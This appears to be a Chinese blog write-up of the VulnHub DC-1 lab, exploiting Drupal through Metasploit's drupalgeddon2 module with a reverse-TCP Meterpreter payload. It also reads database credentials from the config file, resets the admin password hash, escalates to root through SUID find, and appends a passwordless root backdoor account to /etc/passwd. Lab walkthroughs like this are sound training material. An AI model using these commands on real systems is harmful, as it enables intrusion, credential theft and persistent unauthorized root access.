打靶系列之 - dc-1

  • A+
所属分类:安全文章

   前言

    这篇文章是零度安全2021年的首篇文章,后期将会陆续更新打靶,实战系列的文章。

    在这里也感谢大家对零度安全的支持与信任。



打靶系列之 - dc-1


前期准备工作

今天要渗透的靶机是DC-1,首先需要将靶机下载下来。

靶机的下载地址是:https://www.vulnhub.com/entry/dc-1-1,292/

当把靶机下载好之后导入到VMware虚拟机当中,然后运行。

打靶系列之 - dc-1

    打开看到这个画面就说明已经把环境搭建好了,现在我们的目的就是拿下这个服务器。

 

1. 第一步信息收集

    首先我们得知道这个服务器的ip地址是多少

    在Kali中通过一下两个命令中任意一个获取到,目的是扫描整个网段可以ping通的IP:

    nmap -sP  192.168.202.0/24

    netdiscover-r  192.168.202.0/24

打靶系列之 - dc-1


    这里我用的是 netdiscover -r IP这个命令 ,可以看到192.168.202.125 就是我们的靶机,通过一下命令获取靶机开放的端口。

    nmap -A 192.168.202.125

打靶系列之 - dc-1

    开放了80,111,和22端口

    我们在页面访问80端口

打靶系列之 - dc-1

    看到是个典型的CMS。

 

2. 指纹识别

    通过下面这个命令,可以获取到CMS名称,版本信息,开发语言

    whatweb -v http://192.168.202.125/

打靶系列之 - dc-1

     通过探测识别我们可以看到,系统是Drupal框架。

 

3. 目录扫描

    通过dirb扫描整个文章,看是否可以有利用的信息。

    dirb http://192.168.202.125/。

    但是并没有扫描出理想文件目录出来。

 

 

4. 漏洞利用

    既然没有可以利用的点,那直接使用MSF,进行Drupal框架漏洞利用

 

    进入kali 输入 msfconsole  打开MSF

    搜索漏洞

    search drupal

打靶系列之 - dc-1

     可以看到一堆可利用的漏洞,这里我们使用drupal_drupalgeddon2漏洞,可以直接getshell

 

输入

    use exploit/unix/webapp/drupal_drupalgeddon2      #选择这个exp模块

打靶系列之 - dc-1

    这个时候MSF提示没有设置payload,所以需要设置一下payload

    输入:set payload php/meterpreter/reverse_tcp

打靶系列之 - dc-1

    设置成功

    既然我们要使用drupal_drupalgeddon2这个漏洞,那我们就得看下这个漏洞如何使用?

    输入:

        show options

打靶系列之 - dc-1

    可以看到我们需要输入靶机IP地址就可以。

    输入:

        set RHOSTS 192.168.202.125

    设置好之后

     输入exploit 开始进行漏洞攻击

打靶系列之 - dc-1

    在输入 shell

打靶系列之 - dc-1

 

    这个时候我们己经拿到了getshell

    首先查看当前用户,输入whoami

打靶系列之 - dc-1

    发现不是root用户没关系,在找找其他突破口

    ls一下,拿到flag1.txt

打靶系列之 - dc-1

 

    查看flag1.txt之后,他已经给我们了第二个提示,需要去找drupal配置文件。

    获取一个完全交互式shell输入:

        python -c  'import pty;pty.spawn ("/bin/bash")'

 

获取完全交互的shell,方便后面输入命令。

打靶系列之 - dc-1


5. 寻找配置文件

    找来找去,终于找到了,配置文件

        sites/default/settings.php

打靶系列之 - dc-1

  我可以看到拿到了flag2,并且还拿到了数据库的账号和密码:

         'database' => 'drupaldb',

         'username' => 'dbuser',

         'password' => 'R0ck3t',

         'driver' => 'mysql'

    首先查看mysql的服务是否启动:

        netstat -anptl

打靶系列之 - dc-1

    看到mysql是启动的,但是无法进行远程连接,既然这样,接下来的思路就是直接在shell中连接数据库,然后修改页面登录密码,进入页面后台。

 

输入

mysql -udbuser -pR0ck3t      #连接数据库


输入

show databases;          #查看数据库

use  drupaldb;              #选择数据库

show tables;                #查看当前数据库下的表名    

可以看到users表

打靶系列之 - dc-1

select * from usersG;

打靶系列之 - dc-1

可以看到这个表存储的是账号和密码

 

修改admin这条数据的密码,我们需要一个加密过的密码。

通过寻找我们发现drupal的加密文件在scripts/password-hash.sh这个位置下。

退出mysql

exit;

输入phpscripts/password-hash.sh 123456

打靶系列之 - dc-1

这个时候我们获取了123456 加密后的密码

进入数据库执行

update users set pass='$S$DlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM'where uid=1

打靶系列之 - dc-1

这个时候我们就修改了密码,现在去后台登录试试

打靶系列之 - dc-1

    进入后台。

 

6. 页面操作 

    在逛页面的时候我们看到了flag3

打靶系列之 - dc-1

    打开看看写了什么

打靶系列之 - dc-1

 

根据提示告诉我们可以去看下密码文件

进入msf会话中,去看下/etc/passwd文件

打靶系列之 - dc-1

 

看到了fag4,提示我们去/home寻找线索

    于是:

        cd /home

        cd  flag4

        cat  flag4.txt

打靶系列之 - dc-1

    提示我们需要越权。


7. 越权

    输入命令,目的是为了使用find命令查看拥有suid权限的文件

    find / -perm -u=s -type f 2>/dev/null

打靶系列之 - dc-1

打靶系列之 - dc-1

可以看到find也在其中,直接使用find命令进行越权

输入

    find/home/flag4 -exec "whoami" ;

    这里flag4是目录,你也可以指向任意目录

打靶系列之 - dc-1

可以看到find是root权限

 

输入

    find/home/flag4  -exec "/bin/sh" ;

提权成功

打靶系列之 - dc-1

进入root目录查看最后一个flag

打靶系列之 - dc-1

到这就拿下了整个靶机

为了登录方便执行

echo'admin::0:0:: /root:/bin/bash' >> /etc/passwd

给服务器写入账户为admin的免密登录账号,方便下次登录


8.总结

    通过这个靶机有几个点你得掌握

    1.使用nmap ,whatweb ,netdiscover 工具进行信息收集,获取到靶机的各个信息。

    2.了解drupal,wordpress,joomla,是PHP三大CMS框架,很多基础信息需要通过百度来获取,比如上述的drupal数据库密码生成位置,和数据库配置。

    3.掌握MSF的使用方法,通过MSF框架进行对靶机项目的漏洞利用。

    4.必须掌握数据库操作,查询库,表,数据,修改,添加等操作。

    5.find提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。



本文始发于微信公众号(Sec盾):打靶系列之 - dc-1

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: